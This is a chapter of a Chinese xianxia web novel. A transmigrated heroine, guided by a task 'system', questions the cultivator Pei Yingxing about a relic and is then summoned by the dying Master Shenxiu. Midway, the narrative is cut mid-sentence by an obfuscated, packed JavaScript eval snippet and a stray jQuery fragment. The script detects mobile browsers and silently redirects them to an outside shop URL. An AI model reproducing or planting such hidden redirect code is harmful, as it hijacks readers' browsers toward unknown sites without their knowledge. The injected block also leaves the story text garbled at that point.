小破系统竟然还给修为,这可真是解了祝清存的燃眉之急,这样她就可以放开手脚远离点玄素宫的庇护了,毕竟一直占用着别人的身份享受着别人的一切,还是很不道德的。
虽然她不是什么圣贤啥的,但也无法忍受违背自己在现代读过的每一本书、教过的每一个道理的良心谴责啊。
终究人非草木嘛。
祝清存随手翻着任务栏,又注意到了主线任务。
【主线任务:帮助天命之子裴应行成功化神接管白玉京。】
如果祝清存没理解错的话,这主线任务意思是要分别完成两个小任务,还得辅以支线任务才送她回家吗?那不就是她不仅要当好裴应行的金手指外挂,还要勤勤恳恳的给裴应行找出阻碍他的反派再解决他们吗?特么又当爹又当妈!
——系统你够狗。
再次详细了解完自己的任务后,祝清存只觉得一个头两个大,骂骂咧咧地退出识海,准备先出门去调查一下裴应行都元婴后期了不化神的症结在哪里,顺便看看能不能知道点反派的线索。
不想,祝清存刚出竹林,便有一道温润的男声叫住了她:“阁下是玄素宫少宫主吗?”
祝清存险些没反应过来,还是不太适应这个假身份。她回首看清了来人,那人一身花花绿绿,活像敦煌壁画里走出来的男飞天,百灵鸟图腾顺着他的飘带展翅而飞,一看就是百音门的人。
祝清存马上换了一副社交笑容:“哦,是孔让尘,孔公子呀。”
孔让尘似乎很是高兴在这里遇见了祝清存,加快了步伐,走到祝清存身边与她并肩而行,也笑道:“没想到祝姑娘还记得孔某,祝姑娘也是来空隐寺净化心境的?”
可不还记得你吗?整个宴会上就你们宗门最异域风情,显眼的不行,你还是领头的大师兄,想不记住都难啊。
祝清存:“是啊,公子也是吗?”
孔让尘:“对啊。”他话锋骤然急转,“祝姑娘如今只凝元境?”
祝清存竟然还平白从他的语气里听出了一丝戏谑,坦然道:“是啊。孔公子,有什么问题吗?”
孔让尘意味不明地轻笑一声:“在下还是劝姑娘一句,这里的修士可没有几个凝元。”
“啊,师弟传音唤在下了,告辞,祝你有个愉快的夜晚。”
孔让尘留下一句云里雾里的话便离开了,留下祝清存一个人风中凌乱。空隐寺一堆资本家还不够,现在还来了个谜语人,修仙界还剩下几个正常人?
祝清存继续朝着裴应行的房间走去,脑子里全是孔让尘莫名其妙的话,他什么意思?要杀人夺宝?可他怎么保证我一定会得到?我好歹顶着个玄素宫的名号,身边还有一个二师姐,说杀就杀?
一回神,她已经走到了裴应行房门口,屋内静寂无声,唯有烛光透过纸窗霅霅跳动着。
祝清存欲抬手叩门,指节快要触到木门时,却悬在了半空。
叫公子是不是太生分了?哦,对哦,原装货的父亲姜叩弦在没有入赘玄素宫之前是玉京子的大弟子,算起来也是裴应行的师兄,那她叫一句师叔也不过分,嘿!她真是个拉近距离小天才。
祝清存道:“小师叔,你在忙吗?”
裴应行清冷的声音从屋内传来:“何事?”
祝清存:“我最近修炼遇到了困难,特来和小师叔探讨一下修炼的诀窍。”
才怪。
屋内沉默一阵,木门打开了。
裴应行盘坐于木塌之上,小几上的油灯静静照着他如玉的面庞,原本简陋的客房因为他的出现都有了几分典雅。
祝清存自然地走到塌边坐下,裴应行道:“不知祝师侄想探讨什么方向。”
祝清存顺手给自己倒了一杯茶水,抿了一口开门见山道:“也没什么特别想知道的,听说小师叔百年间便元婴了,如今都元婴后期了,不知有什么特别的诀窍呀?”
祝清存当然知道自己在讲废话,但是直接问人家为什么化神不了也太冒昧了,只得硬着头皮先铺垫一下。
裴应行扫了她一眼,显然也觉得她问的很多余,却还是回答道:“没什么特别的,日日修炼即可。”
“......“
裴应行这种端方君子,做什么都规规矩矩的,虽然祝清存不是这种人,却很喜欢逗这种人,无他,看自持之人失控难道不有趣吗?祝清存也不理解为什么自己有这种癖好,而且还老是控制不住自己。
现在就是如此,她见裴应行这小正经样,一时没忍住,嘴贱问道:“小师叔这般,有人说过你无趣吗?”
裴应行这次直接侧首,目光定定地凝视着祝清存:“无趣?”
火光在裴应行眼底闪动,裴应行的眸子被照成了琥珀色,像是博物馆里展览的琥珀化石,奇异而温柔。
祝清存:“是啊,无趣。”
裴应行道:“你是第一个这么说的。”
祝清存坦然:“那肯定是没人敢这么说你,你瞧瞧你的说话方式,一句话就可以终结话题,谁愿意来找你说话?”
话落,祝清存竟然还真的从裴应行淡漠的脸上瞧出了点迷茫的意味。
半晌,他开口:“这些似乎和修炼没什么关联。”
祝清存:“这可未必,修士最重要的就是心境,如果不接触其他人自己闭门造车,心境哪里来的突破?”
祝清存的座右铭一直是:以人为镜,可以明得失。一个人要清楚看见自己的内心,最好的办法就是去看别人,所厌恶的人能让你察觉你所不齿的,所喜爱的人能让你察觉你所欣赏的。
或许裴应行就是因为缺少一些与人交往的经历,心境才没有提升。。
裴应行微怔,随即道:“或许是的。”
祝清存将手肘撑在小几上,一手托腮,盯着裴应行的脸看了一会,问出了她一直藏在心底的疑惑:“你那天,那天真的是故意放我走的?”
裴应行将头转了回去:“是。”
祝清存:“你认出我来了?”
烛光在他清俊的面庞上跳动,他没有再回答祝清存,狭小的空间里只余下一豆油灯细碎的噼啪声。
祝清存心道:“好吧,不想理我,那我再换个问题总行了吧。”
祝清存嘴角扬起一抹笑容,又开口道:“又不理人了,小师叔老这样拒人千里之外,那你想要舍利子是为了突破吗?”
回复祝清存的依旧是跳动的烛光,在祝清存都快要放弃等待时,裴应行道:“不是。”
“如若你真是那位有缘
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17500778|202719||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
人,白玉京愿意用任何灵宝秘籍交换。”
这么大手笔?看来是真的很需要啊,既然不是给自己用,却还是能让一派少宗主前来取宝,那需要舍利子的就只剩下一个人了。
祝清存:“玉京子前辈需要是吗?”
裴应行:“......是。”
空气再次陷入沉默,祝清存也没心情和他继续尬聊下去了,随便寒暄了几句便起身离开了,反正消息是套了点。
走在回去的路上,祝清存在心里喊起了系统。
祝清存:系统,那个舍利子是不是不止能净化心境?
【系统无法回答与任务无关的问题。】
祝清存:怎么算无关?支线任务不就叫神秀的舍利子吗?我问的就是神秀的舍利子啊,有啥问题?
【......】
【神秀大师的舍利子带有功德之丝的力量,可延寿。】
延寿?玉京子这个大佬的生命值已经危险到这种程度了?不对,那不给裴应行用我出那么大力干啥!?
祝清存:系统,又不给裴应行用,干什么要发这个任务,这不捣乱吗?
系统直接在祝清存的脑内装死,没再搭理她。
祝清存算是摸清这个系统脾气了,觉得与任务无关的要么不回答要么不搭理,她顿觉无趣,自顾自走到房间内,盘起腿开始打坐修炼。
不知过去了多久,门外传来一道足音,随后念一的声音响起。
“叩叩——”
“祝施主,家师想请施主一叙。”
祝清存悠悠从冥想中脱离,神秀大师找她?
祝清存道:“好,小师傅稍等片刻。”
面上这么回着,祝清存心里慌的一批,神秀大师为什么要在这个快要圆寂的紧要关头单独见她?因为我冒充了故人之子?想要见见?万一露馅了咋办,我敲!
她忙在心里呼唤系统:系统,系统!这神秀大师会不会发现我是个冒牌货啊,系统出品的假身份靠谱吗?
回复祝清存的是一片寂静,好,系统又装死,无奈,祝清存只得深吸一口气,心下一横,打开了门。
屋外天光乍破,念一穿戴整齐地站在门外,似乎换了一身更正式的装束。
这是,神秀大师时间快到了?雾草,不会真是准备见故人之子最后一面吧,可是她不是正牌货啊,等下这个大师要是问点什么陈年旧事,她要咋说啊!
跟着念一一路穿过走廊,往正殿方向,祝清存和念一一路无言,昨日还有些活泼的小和尚,此刻也蒙上了一层死气。
祝清存跟在念一身后,忍不住神游天外,也是,据说这个念一小师傅是个弃婴,后来被神秀大师捡到带在身边,神秀大师应该也算念一半个亲人了,眼下唯一的亲人就要离开了,能不难过吗?
思索间,已经到了正殿门口,踏入殿内,此时是清晨,还没有到香客们上香的时间段,殿内更显冷凄,方正庄严建筑下只余有青灯古佛陪伴着神秀,他依旧闭着眸子,双手合十,神色安然。
念一侍立于神秀大师的身后,不再言语。察觉到祝清存的到来,神秀缓缓睁开了眼睛,恍惚间,祝清存只觉那双眼睛和殿中的佛像重合了。
神秀道:“好孩子,你来了。”